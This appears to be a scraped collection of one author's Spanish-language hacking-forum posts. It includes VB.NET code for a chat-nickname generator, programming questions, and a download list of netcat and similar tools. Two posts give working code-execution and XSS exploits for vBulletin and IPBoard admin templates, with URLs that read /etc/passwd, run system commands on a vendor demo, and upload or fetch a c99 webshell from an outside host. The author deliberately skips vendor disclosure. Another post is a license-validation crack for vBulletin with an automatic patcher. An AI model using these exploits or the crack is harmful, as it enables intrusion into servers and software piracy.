   Private Sub TextBox1_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox1.KeyPress
       ' Evita mostrar StrDefaultMSG al retroceder completamente sin perder el foco
       If TextBox1.Text = StrDefaultMSG Then
           TextBox1.Text = e.KeyChar
           e.KeyChar = ""
           TextBox1.SelectionStart = TextBox1.Text.Length
       ElseIf TextBox1.Text = Chr(8) And AscW(e.KeyChar) = 8 Then
           TextBox1.Text = ""
           e.KeyChar = ""
       End If
   End Sub

   Private Sub TextBox1_LostFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles TextBox1.LostFocus
       Generar()
   End Sub

   Private Sub TextBox1_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles TextBox1.MouseClick
       If TextBox1.Text = StrDefaultMSG Then
           Evitar_VerificarMSG = True
           TextBox1.Text = ""
           TextBox2.Text = ""
       End If
   End Sub

   Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
       If TextBox1.Text = Chr(8) Then TextBox1.Text = ""
       If TextBox1.Text = StrDefaultMSG Then
           TextBox1.ForeColor = Color.Silver
           TextBox2.ForeColor = Color.Silver
       Else
           TextBox1.ForeColor = Color.Black
           TextBox2.ForeColor = Color.Black
           Generar()
       End If
   End Sub

   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
       ListView1.Items(0).Focused = True
   End Sub

   Private Function Generar() As Boolean
       If TextBox1.Text = "" Then
           If Evitar_VerificarMSG = False Then
               TextBox1.Text = StrDefaultMSG
               TextBox2.Text = "Nick generado"
           Else
               Evitar_VerificarMSG = False
           End If
       End If

       If TextBox1.Text = StrDefaultMSG Then
           Label6.Text = "Ejemplo"
           Label7.Text = "3j3mp10"
           Label8.Text = "EjEmPlO"
           Exit Function
       End If

       Dim Nick As String, Cuenta As Integer, U_Case As Boolean
       Dim Code1 As String, Code2 As String, Code3 As String, Code4 As String

       ' Code1 = 1337
       Code1 = TextBox1.Text.ToLower
       Code1 = Code1.Replace("a", "å")
       Code1 = Code1.Replace("b", "ß")
       Code1 = Code1.Replace("c", "©")
       Code1 = Code1.Replace("d", "Ð")
       Code1 = Code1.Replace("e", "3")
       Code1 = Code1.Replace("f", "ƒ")
       Code1 = Code1.Replace("g", "6")
       Code1 = Code1.Replace("i", "¡")
       Code1 = Code1.Replace("l", "1")
       Code1 = Code1.Replace("o", "0")
       Code1 = Code1.Replace("q", "¶")
       Code1 = Code1.Replace("r", "®")
       Code1 = Code1.Replace("s", "§")
       Code1 = Code1.Replace("u", "µ")
       Code1 = Code1.Replace("y", "¥")
       Label7.Text = Code1 ' Imprime ejemplo

       ' Code2 = Normal
       Code2 = TextBox1.Text
       Label6.Text = Code2 ' Imprime ejemplo

       ' Code3 = UL-Case
       U_Case = False
       Code3 = ""
       For Cuenta = 0 To TextBox1.Text.Length - 1
           If U_Case = False Then
               Code3 = Code3 & TextBox1.Text.Substring(Cuenta, 1).ToLower.ToString
               U_Case = True
           Else
               Code3 = Code3 & TextBox1.Text.Substring(Cuenta, 1).ToUpper.ToString
               U_Case = False
           End If
       Next
       Label8.Text = Code3 ' Imprime ejemplo

       ' Code4 = Gigante
       Code4 = TextBox1.Text.ToLower
       Code4 = Code4.Replace(" ", "  ")
       Code4 = Code4.Replace("a", " |̶̿ ̶̿ ̶̿ ̶̿|")
       Code4 = Code4.Replace("b", " |̶͇̿ ̶͇̿ ̶͇̿)")
       Code4 = Code4.Replace("c", " |͇̿ ͇̿ ͇̿ ͇̿")
       Code4 = Code4.Replace("d", " |͇̿ ͇̿ ͇̿ ͇̿)")
       Code4 = Code4.Replace("e", " |̶͇̿ ̶͇̿ ͇̿")
       Code4 = Code4.Replace("f", " |̶̿ ̶̿ ̶̿ ̶̿")
       Code4 = Code4.Replace("g", " |͇̿ ͇̿ ͇̿ ̶͇̿ι")
       Code4 = Code4.Replace("h", " |̶ ̶ ̶ ̶|")
       Code4 = Code4.Replace("i", " [b]|[/b]")
       Code4 = Code4.Replace("j", "  ͇ ͇͇͇͇|")
       Code4 = Code4.Replace("k", " |<")
       Code4 = Code4.Replace("l", " |͇ ͇ ͇ ͇")
       Code4 = Code4.Replace("m", " |̿ V ̿|")
       Code4 = Code4.Replace("n", " |̿ \͇|")
       Code4 = Code4.Replace("o", " |͇̿ ͇̿ ͇̿|")
       Code4 = Code4.Replace("p", " |̶̿ ̶̿ ̶̿ ̶̿'")
       Code4 = Code4.Replace("q", " |͇̿ ͇̿ ͇̿ ͇͇̿|͇ ")
       Code4 = Code4.Replace("r", " |̿ ̿ ̿")
       Code4 = Code4.Replace("s", "  ͇ ͇\̿ ̿")
       Code4 = Code4.Replace("t", "  ̿ ̿|̿ ̿")
       Code4 = Code4.Replace("u", " |͇ ͇ ͇ ͇ ͇|")
       Code4 = Code4.Replace("v", " [b]\ ͇ /[/b]")
       Code4 = Code4.Replace("w", " [b]|͇ Λ ͇|[/b]")
       Code4 = Code4.Replace("x", " X")
       Code4 = Code4.Replace("y", " Y")
       Code4 = Code4.Replace("z", "  ̿ ̿/ ͇ ͇")
       Label9.Text = Code4
       Code4 = "अ๑ " & Trim(Code4)

       ' Establece el nick
       If RadioButton2.Checked = True Then ' 1337
           Nick = Code1

       ElseIf RadioButton3.Checked = True Then ' Gigante
           Nick = Code4

       ElseIf RadioButton4.Checked = True Then ' UL-Case
           Nick = Code3

       Else ' Normal
           Nick = Code2

       End If

       ' Retorna
       TextBox2.Text = ListView1.FocusedItem.Text.Replace("Nick", Nick)
   End Function

   Private Sub ListView1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListView1.SelectedIndexChanged
       Generar()
   End Sub

   Private Sub TextBox2_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles TextBox2.MouseClick
       TextBox2.SelectAll()
   End Sub

   Private Sub RadioButton2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton2.CheckedChanged
       Generar()
   End Sub

   Private Sub RadioButton1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton1.CheckedChanged
       Generar()
   End Sub

   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
       If TextBox1.Text = StrDefaultMSG Then
           MsgBox("Debe proporcionar un nick")
           Exit Sub
       End If
       Dim Random As New Random()
       ListView1.Items(Random.Next(0, ListView1.Items.Count - 1)).Focused = True
       Generar()
   End Sub

   Private Function LoadCharMap() As Boolean
       Dim Cuenta As Integer, Cuenta2 As Integer, Cuenta3 As Integer, LItem As New ListViewItem
       Dim Desde As Integer, Hasta As Integer, Columnas As Integer

       Desde = 0 ' 9474
       Hasta = 65535 ' 9729
       Columnas = 22
       Cuenta3 = Desde

       Me.Cursor = Cursors.WaitCursor
       Label2.Text = "Creando columnas ..."
       Button4.Visible = False
       Label2.Visible = True
       DataGridView1.Visible = False
       Application.DoEvents()

       ' Crea las columnas
       For Cuenta = 0 To Columnas - 1
           DataGridView1.Columns.Add("c" & Cuenta, "t" & Cuenta)
           DataGridView1.Columns(DataGridView1.Columns.Count - 1).Width = 22
           DataGridView1.Columns(DataGridView1.Columns.Count - 1).Resizable = DataGridViewTriState.False
           Label2.Text = "Creando columnas ... " & Cuenta
           Application.DoEvents()
       Next

       Label2.Text = "Creando mapa de carácteres ... 0/" & Hasta
       Application.DoEvents()
       Timer1.Tag = "0/" & Hasta
       Timer1.Enabled = True

       Dim n As Integer
       For Cuenta = 0 To Int(((Hasta - Desde) / Columnas) - 1)
           If Cuenta3 > Hasta Then Exit For
           n = DataGridView1.Rows.Add()
           For Cuenta2 = 0 To Columnas - 1
               If Cuenta3 > Hasta Then Exit For
               DataGridView1.Rows.Item(n).Cells(Cuenta2).Value = ChrW(Cuenta3)
               Timer1.Tag = Cuenta3 & "/" & Hasta
               Cuenta3 = Cuenta3 + 1
               Application.DoEvents()
           Next
       Next

       Label2.Visible = False
       DataGridView1.Visible = True
       Timer1.Tag = 0
       Timer1.Enabled = False
       Me.Cursor = Cursors.Arrow
   End Function

   Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
       Shell("charmap", AppWinStyle.NormalFocus)
   End Sub

   Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
       InsertLastChar()
   End Sub

   Private Sub DataGridView1_CellContentClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DataGridViewCellEventArgs) Handles DataGridView1.CellContentClick
       Dim v_Str As String = DataGridView1.Rows(e.RowIndex).Cells(e.ColumnIndex).Value.ToString()
       TextBox3.Text = v_Str
       TextBox4.Text = Func.Convertir(v_Str, "hexadecimal")
       TextBox5.Text = Func.Convertir(v_Str, "html")
       TextBox6.Text = Func.Convertir(v_Str, "decimal")
       LastChar = v_Str
   End Sub

   Private Sub DataGridView1_CellContentDoubleClick(ByVal sender As Object, ByVal e As System.Windows.Forms.DataGridViewCellEventArgs) Handles DataGridView1.CellContentDoubleClick
       InsertLastChar()
   End Sub

   Private Function InsertLastChar() As Boolean
       If TextBox1.Text = StrDefaultMSG Then
           TextBox1.Text = LastChar
       Else
           TextBox1.Text = TextBox1.Text & LastChar
       End If
   End Function

   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       Label2.Text = "Creando mapa de carácteres ... " & Timer1.Tag
       Application.DoEvents()
   End Sub

   Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
       LoadCharMap()
   End Sub

   Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
       Dim Random As New Random()
       Dim Caracter As String = DataGridView1.Rows(Random.Next(0, DataGridView1.Rows.Count)).Cells(Random.Next(0, DataGridView1.Columns.Count)).Value.ToString()
       If TextBox1.Text = StrDefaultMSG Then
           TextBox1.Text = Caracter
       Else
           TextBox1.Text = TextBox1.Text & Caracter
       End If
   End Sub

End Class



Binario:
http://foro.elhacker.net/chats_irc_y_messengers/nickmania_v24_by_whk-t309834.0.html
#286
msgbox(ChrW(Asc("░"))))

me impime "|" xD
estuve averiguando de como poder imprimir en un form de vb.net un carácter unicode y es virtualmente imposible por lo que estoy leyendo de otras fuentes.

La idea principal es hacer un listado de carácteres ascii en un listview pero los valores unicode no se ven como por ejemplo ░▒▓█ que deberían ser los valores decimales 176 en adelante.

Intenté usar otros controles pero ninguno me daba, al ver que ni el msgbox me devuelve un unicode entones no se que será lo mejor hacer.

Intenté convertir con convert de unicode a text pero nada, el ░ me sigue retornando 166 con asc cuando debería ser 176 y ni aun así el 166 vale | y no
#287
Mensajería / NickMania V2.4 by WHK
5 Noviembre 2010, 18:06 PM
NickMania V2.4 by WHK

Hize un software dedicado a crear nicks para los fanáticos del messenger :D está muy fácil de usar.

Pestaña 1: Diseños autogenerables


Opcion agregada de carácteres gigantes


Pestaña 2: Mapa de carácteres completo con decodificador de valores


También incluye muchos mas diseños prefabricados que antes.

El programa no tiene costo, agradecer cuesta menos que fabricarlo.

Version: 2.4 -> Descarga: http://www.megaupload.com/?d=ELB14G6O





Otras versiones:

1.0 -> http://www.megaupload.com/?d=LAOHTAXB


2.0 -> http://www.megaupload.com/?d=SVTJBAPZ
(Es lo mismo que el 2.3 con la diferencia del soporte para carácteres gigantes)

2.3 -> http://www.megaupload.com/?d=Z4MPA8NV
(Es lo mismo que el 2.4 solo que se le reparó un error que impedía modificar el texto gigante de ejemplo)
#288
Hola, estaba intentando crear una aplicación gráfica con formularios en vb.net pero a la ves quería ir imprimiendo los status o errores atraves de la consola que lo llama.

Me explico...
La idea es que si le hago doble click no se verá consola, solo la ventana y ya, pero si lo abro desde la consola quería que me mostrara algunos estados, se podrá? sería como una convinación entre una aplicación windows form y consola, pero no quiero haerla consola 100% porque hay casos en que debo mostrar la ventana sin que se vea una consola
#289
Hola, se me ocurrió hacer un sistema web que lleva hashses únicos y deben ser lo más cortos posible, quería poner los primeros 5 carácteres de un md5(microtime()) pero qujiero evitar las colisiones, además se me ocurrió otra manera aún mas cotra de hacer hashses sin tener colisiones.

Este sistema es muy similar a tinyurl por lo tanto hay dos tipos de hashses, uno generado por el sistema y uno personalizado opcional.

La idea que tube es que primero comienze el id del enlace con 0,1,2,3,4,5... despues 7,8,9,a,b,c,d,e... despues mayusculas ...x,y,z,A,B,C... y cuando llegue a Z comenzar otraves.. X,Y,Z,01,02,03,04,05... despues 0X,0Y,0Z,10,11,12,13,14... 1x,1y,1z,1A,1B...
se entiende? xD

De esta forma generaría hashses que contengan números y letras mayusculas y minúsculas abarcando todas las combinaciones posibles y así hacer hashses de uno, dos, tres carácteres sin tener colisiones.

Para esto habia hecho un pseudocódigo donde..
Código (php) [Seleccionar]
function calcula_alias(){
sql: obtiene el aliaz mas corto y el último alfabético con límite 1
verifica desde el ultimo caracter hasta el primero
del 0 al 9 , de la a a la z y de la A a la Z
si es Z revisa el siguiente
si llega al final agregar uno y resetear todos a 0
}


de esta forma lograría hacer el autoincrementado pero el problema es que el usuario puede ingresar su hash personalizado, por lo tanto digamos que alguien ingresa "ZZZ" como de dormir y cuando llegue el hash a tres carácteres se va a seleccionar ese porque será el ultimo de la tabla y me va a joder todas las demás combinaciones entre 000 y ZZZ, ahora, tampoco puedo tomar el primero porque si tomo el aaa quien me dice que no hay un aab.

Se entiende mi rompecabezas? xDD el sistema está muy muy útil ya que solucionaría el problema que ningún hosting de archivos ha podido solucionar, ni si quiera facebook ya que ellos utilizan un hash correspondiente a muchas cosas para evitar colisiones, imageshack, megaupload, tinyurl, etc , a todos les solucionaría la vida con este sistema xD pero aún se me está haciendo un poco complicado.

También pensé que si el hash se repite entonces anteponer un hash aleatorio de 5 carácteres pero no es la idea.

Conversando con nakp, si no me resulta lo que haré es utilizar el id numérico y sacar el max() del id  y verificar si existe en la columna de los hashses , solo que como será un string se me hará un poco complejo la verificación, pero es posible.

¿Alguien tiene alguna idea para que me de una mano?

Mientras tanto me conformé con un hash de 5 carácteres con algunos símbolos para evitar una colisión

Código (php) [Seleccionar]
function calcula_alias($cantidad = 5){
$caracteres = '=-_{}$;,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
for($cuenta = 0; $cuenta <= $cantidad; $cuenta++){
 $hash .= $caracteres[rand(0,strlen($caracteres) - 1)];
}
return $hash;
}
#290
he recibido hasta el cansancio mensajes privados de donde descargar el netcat y otras herramientas que ultimamente no se porque han estado bastante escasas y no ha sido tan facil encontrarlas.

hize un archivo comprimido en rar sin contraseña con todas estas herramientas:
Citarnetcat nt V1.10
cryptcat nt V1.2.1
tftpd32
Radmin V2.1
Extension Creator
edjpgcom
nircmd
wget
dictmake
Netscan

Enlaces de descarga:
http://www.mediafire.com/?572kmr74tr6r7f0
http://rapidshare.com/files/419250539/Tools.rar
http://www.megaupload.com/?d=1HH51ZT9
http://hotfile.com/dl/69595883/1e09ae8/Tools.rar.html
http://www.gigasize.com/get.php?d=ggmszjnq2hd

Todos los enlaces contienen el mismo archivo rar, solo son alternativas por si uno de ellos falla.
El dia en que todos los enlaces fallen me avisan y los vuelvo a subir.
#291
Software / Montar imagen en Windows 7
22 Agosto 2010, 09:12 AM
Hola, actualmente estoy haciendo un dvd con una recopilación de softwares en .iso y por el momento le adjunté el alcohol120 pero me entra el remordimiento porque lleva crack xDD

Alguien conoce algún software que sea gratuito que me permita montar imagenes o cree unidades virtuales en windows 7?

Intenté con el daemon pero no funciona bien en windows 7.
#293

Proyecto OpenVuln

Es un proyecto destinado a realizar auditorías de seguridad a nivel WEB hacia el software de OpenVuln 1.4.7 con la finalidad de que sus desarrolladores puedan crear cada dia un software mas robusto y seguro.




Integrantes - (participando en el proyecto)




Vulnerabilidades encontradas
10
(0 reportadas + 0 notificadas + 10 privadas)
Próximo disclosure: 7 Junio 2010




Todos los resultados se irán mostrando en este lugar con todos sus detalles.

Si tienes algún comentario, pregunta, aporte, quieres participar  o lo que necesites puedes hacerlo en este post:
http://foro.elhacker.net/nivel_web/opencart_se_niega_a_arreglar_vulnerabilidades_y_sabotea_los_parches-t294544.0.html

Si hay algúna vulnerabilidad o bug que no aparece en este lugar es porque todavía se mantiene en privado hasta cumplirse el plazo estimado para su posible reparación o publicación futura.


#294
yo tampoco lo creí cuando lo vi pero así es, en windows live entré a modificar un dato desde firefox en linux y me ha salido un cuadro diciendome que me actualize a internet explorer 6 o superior.

todavía pretenden que la gente siga usando ie6???



Esto aparece en las opciones avanzadas de la configuración de la cuenta.
#295
Foro Libre / Entrevista de tele5 a sdc
1 Mayo 2010, 06:11 AM
Lo que mas da risa es que presentan a sdc mostrando mi msn jajajajja fail xD

[youtube=425,350]http://www.youtube.com/watch?v=p0HUoncTAAc[/youtube]
#296
Nivel Web / [CYH] PHP-IDS
19 Marzo 2010, 20:41 PM
Can You Hack?
Tiro al blanco con PHP-IDS

CYH es un evento donde todos los usuarios del foro pueden participar y ganar premios y realizar todo tipo de retos :D




Premio
El que mas inyecciones logre realizar en PHP-IDS sobre diferentes reglas se ganará una cuenta sunick@elhacker.net

Fecha de término
30 Abril 2010

Personas que han acertado en el blanco

  • WHK (DoS) [Cantidad: 1] [No participante]

En esta ocación le daremos de tiro al blanco a PHP-IDS, un sistema muy similar a htmlpurifier, un sistema que filtra todo intento de ataque haciendo que una aplicación WEB sea mas segura pero no impenetrable.
http://php-ids.org/

El demo está en este lugar:
http://demo.php-ids.org/

La idea es poder inyectar agún tipo de código maligno que pueda afectar la seguridad de tu aplicación WEB o hacer que aparezca una ejecución de código en javascript.
Al escribir tu inyección en la caja de texto que aparece en el demo se testeará de múltiples formas:
Código (php) [Seleccionar]
<table id="clean">
<tr>
 <td><strong>HTML injection</strong></td>
 <td><?php echo $_POST['test']; ?></td>
</tr>
<tr>
 <td><strong>a href and onclick doublequoted</strong></td>
 <td><a onclick="<?php echo $_POST['test']; ?>" href="?test=<?php echo $_POST['test']; ?>">click</a></td>
</tr>
<tr>
 <td><strong>a href and onclick singlequoted</strong></td>
 <td><a onclick='<?php echo $_POST['test']; ?>' href='?test=<?php echo $_POST['test']; ?>'>click</a></td>
</tr>
<tr>
 <td><strong>a href and onlclick no quotes</strong></td>
 <td><a onclick=<?php echo $_POST['test']; ?> href=?test=<?php echo $_POST['test']; ?>>click</a></td>
</tr>
<tr>
 <td><strong>script tags</strong></td>
 <td><script><?php echo $_POST['test']; ?></script></td>
</tr>
</table>


Cuando PHP-IDS detecta un intento de ataque te detendrá y mostrará las reglas en expresión regular que impidió su ejecución.

Claramente yo y sdc nos excluimos de los premios pero no del concurso :D asi que nosotros no contamos para la decisión final del ganador.
#297
Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar esto.

Estaba viendo un demo oficial de vbulletín y quería ver si podía reproducir la misma vulnerabilidad de ipboard ya que son practicamente los mismos desarrolladores pero me encontré con algunos problemas.
( http://foro.elhacker.net/nivel_web/codigo_de_ejecucion_php_y_xss_en_ipboard_305-t285256.0.html )

Primero que nada acá no se pueden ejecutar funciones directamente como ipboard aunque la sintaxis es muy similar al editar un theme.
Lo que si pude lograr es inyectar código arbitrario en las las llamas {vb:raw}.
http://demo.vbulletin.com/admincp/template.php?s=&do=add&dostyleid=2&title=FORUMDISPLAY&group=forumdisplay

Para llamar a un título usas lo siguiente:
<title>{vb:raw foruminfo.title_clean}</title>

Por lo tanto me imaginé que debería llamar a alguna clase utilizando eval, o sea algo asi como eval('$clase->'.$variable.'();');

Así que me puse a experimentar tratando de escapar con comillas y puntos y comas y a final que pude escapar del eval e inyectar código de la siguiente forma:
{vb:raw $voptions[eval(stripslashes(html_entity_decode($_GET[x])))]}

Lo que sucede es que si tratas de exponer directamente la función entonces vbulletin te va a decir que no es una variable válida asi que le damos en el gusto y lo encerramos en una variable válida.
Ahora si intentan poner esto en cualquier parte del theme no va a funcionar porque vbulletin utiliza un filtro y tiene una whitelist con las funciones que solamente pueden utilizarse, por lo tanto les va a rechazar la función eval().

Dentro del tag <title></title> es donde pueden ejecutarse las funciones de esta forma dentro de una variable válida y el filtro no va a saltar porque no lo procesará de forma correcta.

Con esto ya podemos hacer un
http://demo.vbulletin.com/index.php?x=if($_FILES){copy($_FILES['archivo']['tmp_name'],'c99.php');}exit;

y desde el firebug editamos el DOM del contenido HTML para escribir un form:
Código (html4strict) [Seleccionar]
<form method="post" enctype="multipart/form-data">
<input name="archivo" type="file">
<input value="Enviar" type="submit">
<input type="hidden" name="adminhash" value="baa10b27ca5198266ab2cf09f2b101e4" />
<input type="hidden" name="securitytoken" value="1266787977-14112f434378273e323fe65d5e7fc43535be4705" />
</form>


Ojo que vbulletín nos pedirá el token de nuestra sesión el cual lo puse en un input de tipo hidden y con eso ya subimos la c99 o si no la clásica con file_put_contents('c99.php', file_get_contents('http://r57.gen.tr/99.txt'));

Saludos.
#298
Estaba viendo una demostración del IPBoard que pude obtener desde la web oficial y viendo algunas opciones me pude dar cuenta que puedes ejecutar código arbitrario y xss en dos lados diferentes.

Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar ambas cosas.

El xss se encuentra al editar el logo:
http://ejemplo/admin/index.php?adsess=[sesion]&app=core&&module=templates&section=easylogo&do=finish

En este lugar encontraremos un input para poner el logo del theme, pero no podemos inyectar código html porque nos filtra las comillas simples y dobles, asi que como lo podemos evadir?
VBulletín utiliza variables de esta forma: {style_image_url}/logo.png asi que dentro de {} no nos filtran nada asi que desde ahi podemos inyectar de la siguiente manera:
Citarlogo.png<{'onerror=alert(0) x='}

Con eso ya puedes ejecutar código arbitrario desde el theme.

El código de ejecución en php se encuentra en la edición del theme.
Por eejmplo si al theme le ponemos <?php echo 'x'; ?> no lo ejecutará sino que lo mostrará solamente ya que lanza un echo completo, pero si ejecuta las variables en php, por ejemplo {$x} ya que el theme completo se procesa en eval y echo.

Si no podemos usar tags de php como escapamos y ejecutamos código?....
así:
Código (php) [Seleccionar]
{${eval(stripslashes(html_entity_decode($_GET[x])))}}

Tube que encerrar la variabe en dos llaves diferentes porque vbulletin me filtraba las llaves sin un $.
También reemplaza los puntos a htmlentities y utiliza addslashses xD asi que le aplicamos las funciones inversas.

Demo online:
http://a133.ipsdemo.ipslink.com/index.php?x=echo file_get_contents('../../../../../../../etc/passwd');exit;
y
view-source:http://a133.ipsdemo.ipslink.com/index.php?x=system%28%27ls%20-la%27%29;exit;

Ojo que el demo que me dieron dura 24 horas asi que si no ven el enlace se hacen uno nuevo y lo prueban.

PD: a servidores como el del demo que tiene allow url open activo pueden subirse una c99 y hacer full backup :P
PD2: a vbulletín no les aviso de la vulnerabilidad porque ellos ganan dinero vendiendo el sistema y tienen el suficiente dinero como para contratar a auditores, yo no les hago el trabajo porque ellos nunca me han dado nada, no así los de libre pago como smf, ellos si aportan muchisimo a la gente asi que a ellos si les reportamos primero :P.
#299

PCu es una selección de temas orientados a los parches de sistemas WEBs (PCu = Parche Curita).

Bueno, primero nos conseguimos los archivos de vbulletín, ahora lo montamos en el servidor normalmente y cuando hagamos nuestro archivo de configuraciones veremos que nos redireccionará hacia http://ejemplo/vbulletin/install/install.php y nos pide un numero de serie :o asi que si no tenemos ese mágico numero de serie no podremos instalar el sistema.

Vamos al directorio de instalación y hacemos ingeniería inversa, asío como en la electrónica mi profesor siempre me decía que si queremos saber como funciona algo solo debemos recorrer el camino que hace la energía eléctrica, asi que nosotros para saber como hace la validación seguiremos las funciones y las inclusiones en orden una por una.

Abrimos el archivo /install/install.php y encontramos que la única inclusión que hay es hacia require_once('./installsteps.php'); sin anteponer ninguna función y despues finaliza el script asi que dejamos tranquilo ese archivo y nos vamos a editar /install/installsteps.php.
En este archivo lo primero que vemos cuando lo ejecutas es un if con una comparación:
Código (php) [Seleccionar]
if ($_GET['step'] > 2 OR $_POST['step'] > 2)
{
require_once('./installcore.php');
// connected to the database now lets load schema
require_once(DIR . '/install/mysql-schema.php');
}
else
{
if ($_ENV['REQUEST_URI'] OR $_SERVER['REQUEST_URI'])
{
$scriptpath = $_SERVER['REQUEST_URI'] ? $_SERVER['REQUEST_URI'] : $_ENV['REQUEST_URI'];
}
else
{
if ($_ENV['PATH_INFO'] OR $_SERVER['PATH_INFO'])
{
$scriptpath = $_SERVER['PATH_INFO'] ? $_SERVER['PATH_INFO']: $_ENV['PATH_INFO'];
}
else if ($_ENV['REDIRECT_URL'] OR $_SERVER['REDIRECT_URL'])
{
$scriptpath = $_SERVER['REDIRECT_URL'] ? $_SERVER['REDIRECT_URL']: $_ENV['REDIRECT_URL'];
}
else
{
$scriptpath = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_ENV['PHP_SELF'];
}

if ($_ENV['QUERY_STRING'] OR $_SERVER['QUERY_STRING'])
{
$scriptpath .= '?' . ($_SERVER['QUERY_STRING'] ? $_SERVER['QUERY_STRING'] : $_ENV['QUERY_STRING']);
}
}
define('SCRIPTPATH', $scriptpath);
define('SKIPDB', true);

require_once('./installcore.php');
}


No estamos enviando ninguna variable GET asi que se está activando el "else" cuando lo ejecutamos y solo se hacen declaraciones de rutas y la única inclusion que hay es hacia installcore.php pero como sabremos si es ese archivo que hace la validación o es algo mas hacia abajo?...
Probamos poniendo "exit;" despues de la inclusion, algo así como:
Código (php) [Seleccionar]
require_once('./installcore.php');
exit;


Me sigue apareciendo la pantalla de verificación, asi que le pongo el exit antes de la inclusion:
Código (php) [Seleccionar]
exit;
require_once('./installcore.php');


Ahi se queda la pantalla en blanco asi que ya sabemos que la pantalla de validación se está llamando desde ahi, por lo tanto lo abrimos y nos encontramos con esto:
Código (php) [Seleccionar]
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');


Pero ahora como sabremos que archivo es el que autentifica?. Le ponemos un exit al final de todas estas inclusiones para ver si lo hace alguno de estos archivos o se hace mas abajo la validación:
Código (php) [Seleccionar]
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');
exit;


Acá vemos que la pantalla sigue apareciendo asi que subimos archivo por archivo:
Código (php) [Seleccionar]
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
exit;
require_once(DIR . '/install/authenticate.php');


Ahi se queda en blanco, eso quiere decir que autentificate no se alcanzó a ejecutar y ese es el archivo que nos detiene la instalación, por lo tanto dejamos tranquilo estos archivos y nos vamos directamente hacia autentificate.php.
Ahi vemos lo siguiente:
Código (php) [Seleccionar]
if ($vbulletin->GPC['bbcustomerid'] !== CUSTOMER_NUMBER)

Nos está haciendo comparación con nuestro id de licencia asi que lo reemplazamos por esto:
Código (php) [Seleccionar]
if (1 == 2)

Y listo! ya podemos utilizar vbulletín sin tener que pasar pro el sistema de validación de licencias. Ahora si alguien quiere utilizarlo entonces no le haga nada y pague por este buén sistema.

Hagamos un parchador automático:
Código (php) [Seleccionar]
<?php
 $finstall 
'install/authenticate.php';
 if(!
$buffer file_get_contents($finstall)){
  die(
'Imposible obtener el archivo '.$finstall);
 }
 
$payload '$vbulletin->GPC[\'bbcustomerid\'] !== CUSTOMER_NUMBER';
 if(
strpos($buffer$payload) > 0){
  
$buffer str_replace($payload'1==2'$buffer);
  if(
file_put_contents($finstall$buffer)){
   
header('location: /'); /* Procede la instalación */
  
}else{
   die(
'Imposible sobreescribir el archivo '.$finstall);
  }
 }else{
  die(
'La versi&oacute;n de VBullet&iacute;n es incompatible');
 }
?>


Lo dejas en el directorio de vbulletín y despues lo visualizas, cuando comienze la instalación del sistema lo borras.
#300

PCu es una selección de temas orientados a los parches de sistemas WEBs (PCu = Parche Curita).

¿Se han fijado que a veces uno necesita modificar el footer de SMF pero es un poco dificil porque los desarrolladores no explican como hacerlo y cuando por fin encuentras la función que lo hace al modificarlo te da un error de theme?.

Al grano. Buscamos el archivo subs/Subs.php y buscamos esto:
Código (php) [Seleccionar]
// Show the copyright...
function theme_copyright($get_it = false)
{ ...


Esta función es el que se encarga del copyright y podemos evadir unos cuantos googledorks y gente en busca de foros vulnerables ya que nos canta de plano la versión del mismo.
Ahora si queremos eliminar completamente el copyright no podemos darle un return true o simplemente eliminar el contenido porque el sistema nos alertará. Hay formas de eliminar esa alerta pero mejor vamos a hacerlo mas sencillo.

Buscamos en nuestro theme el archivo index.template.php y buscamos la siguiente linea:
Código (php) [Seleccionar]
function template_main_below(){ ...

Ahora en ese lugar saldrá la impresión del copyright junto a la declaración de varias variables ocultas.
A menos que modifiquemos el subs.php podemos escribir directamente un <!-- --> pero el problema es que podría dar conflicto con algunas actualizaciones del smf asi que modificamos el theme sin la necesidad de tocar los subs.

Donde dice:
Código (php) [Seleccionar]
theme_copyright();

si le ponemos /**/ o lo eliminamos da error, si le ponemos <!-- --> o <div style="display: none también da error por lo tanto le damos el gusto y lo imprimimos pero a nuestra forma :P
Código (php) [Seleccionar]
ob_start();
theme_copyright();
$pierdete = ob_get_contents();
ob_end_clean();


